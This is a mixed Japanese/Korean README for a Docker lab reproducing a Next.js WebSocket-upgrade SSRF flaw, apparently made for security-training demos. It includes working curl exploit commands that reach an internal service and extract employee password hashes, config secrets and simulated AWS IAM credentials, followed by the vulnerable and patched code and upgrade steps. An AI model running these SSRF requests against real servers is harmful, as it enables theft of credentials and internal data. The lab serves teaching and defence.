시큐리티 아카데미 CERT 프로젝트 멘토 데모용 취약점 재현 실습 환경
| 項目 | 内容 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (High) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| 影響バージョン | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| パッチバージョン | 15.5.16+, 16.2.5+ |
| 認証要否 | 不要 (Unauthenticated) |
Next.jsのWebSocketアップグレードハンドラ(upgradeHandler)が、HTTPリクエストラインに挿入された
absolute-form URI(RFC 7230 §5.3.2)を検証せずに内部サービスへプロキシする脆弱性。
外部からアクセス不可能な内部サービスに任意のHTTPリクエストを送信できる(SSRF)。
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0、脆弱バージョン) └── internal-svc (FastAPI + SQLite、内部ネットワーク専用)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
ビルド完了後、Next.jsが準備できるまで30~60秒かかります。
準備確認:
curl -s http://localhost:3000/api/hello | grep ok
通常のHTTPリクエストは GET /path HTTP/1.1 の形式でパスのみを含むが、
RFC 7230 §5.3.2はリクエストラインに完全なURLを入れる absolute-form を許可している。
GET http://internal-svc/api/v1/employees HTTP/1.1 ← 絶対形式URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js の upgradeHandler はこのURLをパースし、parsedUrl.protocol が存在すれば
宛先の検証なしに proxyRequest() を呼び出す。
curl --request-target オプションでリクエストラインを直接指定できる。
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ 名前・メール・年収・bcryptハッシュを全件返却
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
parsedUrl.protocolが存在するだけで即座にプロキシされる。対象ホストが内部IPであれ
IMDS(169.254.169.254)であれ、無条件に転送される。
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finishedはresolveRoutes内部でリクエストが正常なルートにマッチした場合にのみtrueとなる。
absolute-form URIは正常なルートにマッチしないため、finished === false → プロキシ遮断。
patch-for-lab.js)脆弱性再現環境では、resolve-routes.jsが://を連続スラッシュと誤認識し、
http://host/pathをhttp:/host/pathに縮小する動作がSSRFを偶発的に遮断する。
patch-for-lab.jsはこの動作を無効化し、脆弱性が正常に再現されるようにする。
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
このラボに含まれる patch-defense.js で、現在のバージョンに公式パッチロジックを直接適用:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
パッチ適用後、SSRFリクエストは応答なしでブロックされる。
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes パッチ(SSRF 再現用) │ ├── patch-defense.js # router-server 防御パッチ(コード修正による防御の証明用) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI 内部サービス(SQLite + IMDS シミュレーション) │ └── requirements.txt └── exploit/ └── demo.sh # 6段階自動デモスクリプト
このリポジトリはセキュリティ教育および脆弱性研究の目的でのみ提供される。
実際のサービスに対する無断攻撃に使用することは違法であり、
すべてのテストは本人が所有する環境、または明示的な許可を得た環境でのみ実施しなければならない。
このリポジトリは教育および許可されたセキュリティ研究のみを目的としています。
本番システムに対する無許可の使用は違法です。
すべてのテストは、あなたが所有する環境、または明示的な許可を得た環境でのみ実施してください。